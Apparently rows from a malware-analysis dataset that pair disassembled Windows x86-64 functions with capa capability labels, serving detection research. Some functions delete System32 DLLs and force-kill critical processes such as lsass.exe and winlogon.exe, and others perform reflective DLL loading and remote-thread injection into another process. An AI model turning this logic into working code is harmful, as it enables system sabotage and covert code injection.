joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140058e50
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1401be040]
xor rax, rsp
mov qword [rbp + 8], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
lea rdx, str.kernel32.dll
lea rcx, [rsp + 0x30]
call fcn.140039740
nop
lea rdx, str.user32.dll
lea rcx, [rsp + 0x50]
call fcn.140039740
nop
lea rdx, str.gdi32.dll
lea rcx, [rsp + 0x70]
call fcn.140039740
nop
lea rdx, str.advapi32.dll
lea rcx, [rbp - 0x70]
call fcn.140039740
nop
lea rdx, [0x1401aca20]
lea rcx, [rbp - 0x50]
call fcn.140039740
nop
lea rdi, [rsp + 0x30]
lea rbx, [rbp - 0x30]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], 0
mov ecx, 0xa0
call fcn.140072e78
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea r8, [rax + 0xa0]
mov qword [rbp - 0x20], r8
lea r8, [rbp - 0x30]
mov qword [rsp + 0x20], r8
lea r9, [rbp - 0x30]
mov r8, rax
mov rdx, rbx
mov rcx, rdi
call fcn.1400638d0
mov qword [rbp - 0x28], rax
lea r9, [0x1400396d0]
mov edx, 0x20
mov r8d, 5
lea rcx, [rsp + 0x30]
call fcn.140072eb4
mov rbx, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x28]
cmp rbx, rdi
je 0x140058fcc
nop dword [rax + rax]
mov r8, rbx
lea rdx, str.C:WindowsSystem32_
lea rcx, [rbp - 0x18]
call fcn.140062840
lea rcx, [rbp - 0x18]
cmp qword [rbp], 7
cmova rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140058fc3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058fbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140058ff6
call fcn.140072c30
add rbx, 0x20
cmp rbx, rdi
jne 0x140058f60
lea rcx, [rbp - 0x30]
call fcn.1400624a0
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.140072850
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
int3
Function at 0x140059060
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1401be040]
xor rax, rsp
mov qword [rbp + 8], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x30]
call fcn.140039740
nop
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x50]
call fcn.140039740
nop
lea rdx, str.winlogon.exe
lea rcx, [rsp + 0x70]
call fcn.140039740
nop
lea rdx, str.lsass.exe
lea rcx, [rbp - 0x70]
call fcn.140039740
nop
lea rdx, str.services.exe
lea rcx, [rbp - 0x50]
call fcn.140039740
nop
lea rdi, [rsp + 0x30]
lea rbx, [rbp - 0x30]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], 0
mov ecx, 0xa0
call fcn.140072e78
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea r8, [rax + 0xa0]
mov qword [rbp - 0x20], r8
lea r8, [rbp - 0x30]
mov qword [rsp + 0x20], r8
lea r9, [rbp - 0x30]
mov r8, rax
mov rdx, rbx
mov rcx, rdi
call fcn.1400638d0
mov qword [rbp - 0x28], rax
lea r9, [0x1400396d0]
mov edx, 0x20
mov r8d, 5
lea rcx, [rsp + 0x30]
call fcn.140072eb4
mov rbx, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x28]
cmp rbx, rdi
je 0x1400591dc
nop dword [rax + rax]
mov r8, rbx
lea rdx, str.taskkill__F__IM
lea rcx, [rbp - 0x18]
call fcn.140062840
lea rcx, [rbp - 0x18]
cmp qword [rbp], 7
cmova rcx, qword [rbp - 0x18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x1400591d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400591ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140059206
call fcn.140072c30
add rbx, 0x20
cmp rbx, rdi
jne 0x140059170
lea rcx, [rbp - 0x30]
call fcn.1400624a0
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.140072850
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
int3
Function at 0x1400630d0
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x140063101
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x1401c3f28]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x1401c3f38]
lea rdx, [rdi + rdi]
call fcn.1400626e0
mov rax, qword [0x1401c3f28]
lea r9, [rdi - 1]
mov qword [0x1401c3f50], r9
mov qword [0x1401c3f58], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x140063274
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x1401c3f38]
mov r9, qword [r11]
cmp r9, rbx
jne 0x1400631c0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x140063235
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x1400631fd
mov r10, qword [rdx]
cmp r10, rax
je 0x1400631f7
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x140063235
cmp r9, rdx
je 0x140063211
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x140063249
cmp r9, rdx
jne 0x140063202
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x14006326f
mov r9, qword [0x1401c3f50]
jmp 0x140063171
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x140063235
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140064660
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400646c1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140064680
mov ecx, dword [r9]
jmp 0x1400647ab
cmp ecx, 0x4e0
jb 0x1400647ab
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400646e0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140064730
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14006a050
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x14006a084
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x14006a070
ret
Function at 0x1400708e0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x1400709a5
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x1400709a5
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x1400709be
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x140070995
cmp byte [rcx], 0x5c
jne 0x14007098e
lea rdx, [rcx + 1]
cmp rdx, rax
je 0x14007098e
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x14007097c
movzx eax, byte [rdx]
sub al, 0x28
cmp al, 1
jbe 0x14007098b
test r8b, 0x10
jne 0x14007098e
movzx eax, byte [rdx]
sub al, 0x7b
test al, 0xfd
jne 0x14007098e
mov rcx, rdx
lea rax, [rcx + 1]
mov qword [rbx], rax
mov rcx, rbx
call fcn.14006d220
test edi, edi
jne 0x140070900
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.14006d210
int3

Function at 0x140073664
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400736ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400736ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400736ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400736ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400736ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400736b0
xor al, al
add rsp, 0x28
ret
Function at 0x2ca5b1590
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 0x28], 0
mov qword [rbp - 8], 0
cmp qword [rbp + 0x10], 0
jne 0x2ca5b15c1
mov eax, 0
jmp 0x2ca5b1721
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x48], 0
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
add rax, 0x88
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x18]
mov ax, 0
test eax, eax
jne 0x2ca5b16ac
mov rax, qword [rbp + 0x18]
mov eax, eax
movzx edx, ax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x10]
mov ecx, eax
mov rax, rdx
sub rax, rcx
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 8], rax
jmp 0x2ca5b171d
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x1c], eax
jmp 0x2ca5b1710
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x50]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2ca5b1706
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 8], rax
jmp 0x2ca5b171d
add qword [rbp - 0x10], 4
add qword [rbp - 0x18], 2
mov eax, dword [rbp - 0x1c]
lea edx, [rax - 1]
mov dword [rbp - 0x1c], edx
test eax, eax
jne 0x2ca5b16b8
mov rax, qword [rbp - 8]
add rsp, 0x70
pop rbp
ret
Function at 0x2ca5b1730
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov word [rbp - 2], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov rax, qword [rbp + 0x18]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
add rax, 0x18
mov rdx, rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx eax, ax
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x14]
cmp dword [rbp + 0x10], eax
jae 0x2ca5b179b
mov eax, dword [rbp + 0x10]
jmp 0x2ca5b187e
mov word [rbp - 2], 0
jmp 0x2ca5b1867
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0xc]
cmp dword [rbp + 0x10], eax
jb 0x2ca5b185c
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov ecx, dword [rax + 0xc]
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0x10]
add eax, ecx
cmp dword [rbp + 0x10], eax
jae 0x2ca5b185c
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov edx, dword [rax + 0xc]
mov eax, dword [rbp + 0x10]
sub eax, edx
mov ecx, eax
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0x14]
add eax, ecx
jmp 0x2ca5b187e
movzx eax, word [rbp - 2]
add eax, 1
mov word [rbp - 2], ax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
cmp word [rbp - 2], ax
jb 0x2ca5b17a6
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2ca5b1884
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 8], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
mov dword [rbp - 0x34], 2
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + 0x18]
cmp ax, 0x10b
jne 0x2ca5b1901
cmp dword [rbp - 0x34], 1
je 0x2ca5b1929
mov eax, 0
jmp 0x2ca5b1a5b
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + 0x18]
cmp ax, 0x20b
jne 0x2ca5b191f
cmp dword [rbp - 0x34], 2
je 0x2ca5b1929
mov eax, 0
jmp 0x2ca5b1a5b
mov eax, 0
jmp 0x2ca5b1a5b
mov rax, qword [rbp - 0x28]
add rax, 0x88
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x20]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 8], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x1c]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x24]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x14], eax
jmp 0x2ca5b1a45
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
lea rdx, str.ReflectiveLoader
mov rcx, rax
call sym.strstr
test rax, rax
je 0x2ca5b1a3b
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x1c]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x10]
movzx eax, word [rax]
movzx eax, ax
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
jmp 0x2ca5b1a5b
add qword [rbp - 8], 4
add qword [rbp - 0x10], 2
mov eax, dword [rbp - 0x14]
lea edx, [rax - 1]
mov dword [rbp - 0x14], edx
test eax, eax
jne 0x2ca5b19c1
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x2ca5b1a61
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp - 0x20], 0
mov dword [rbp - 4], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
cmp qword [rbp + 0x10], 0
je 0x2ca5b1aaa
cmp dword [rbp + 0x18], 0
jne 0x2ca5b1ab4
mov eax, 0
jmp 0x2ca5b1b54
mov rcx, qword [rbp + 0x10]
call sym.GetReflectiveLoaderOffset
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x2ca5b1b50
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x10], rax
mov eax, dword [rbp + 0x18]
lea rdx, [rbp - 0x24]
mov r9, rdx
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
je 0x2ca5b1b50
mov rax, qword [rbp - 0x10]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x2ca5b1b30
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov edx, 6
mov ecx, 0
call rax
test eax, eax
jne 0x2ca5b1b30
mov qword [rbp - 0x20], 0
mov edx, dword [rbp - 0x24]
mov eax, dword [rbp + 0x18]
lea rcx, [rbp - 0x28]
mov r9, rcx
mov r8d, edx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp - 0x20]
add rsp, 0x50
pop rbp
ret
Function at 0x2ca5b1b5a
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov dword [rbp - 0xc], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 8], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
cmp qword [rbp + 0x10], 0
je 0x2ca5b1c8b
cmp qword [rbp + 0x18], 0
je 0x2ca5b1c8b
cmp dword [rbp + 0x20], 0
je 0x2ca5b1c8b
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.GetReflectiveLoaderOffset
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
je 0x2ca5b1c84
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x2ca5b1c87
mov ecx, dword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x2ca5b1c8a
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp - 0x20]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0x100000
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 8], rax
jmp 0x2ca5b1c8b
nop
jmp 0x2ca5b1c8b
nop
jmp 0x2ca5b1c8b
nop
mov rax, qword [rbp - 8]
add rsp, 0x70
pop rbp
ret
Function at 0x2ca5b2270
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2ca5b2c62
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2ca5b9108]
test eax, eax
je 0x2ca5b2cfa
lea rax, [0x2ca5b90e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2ca5b9110]
mov qword [rbp - 8], rax
jmp 0x2ca5b2cde
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2ca5b2cd2
cmp qword [rbp - 0x10], 0
je 0x2ca5b2cd2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2ca5b2c98
lea rax, [0x2ca5b90e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2ca5b2cfb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2ca5b2e00
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2ca5b2e28
mov eax, 0
jmp 0x2ca5b2e76
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2ca5b2e51
mov eax, 0
jmp 0x2ca5b2e76
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
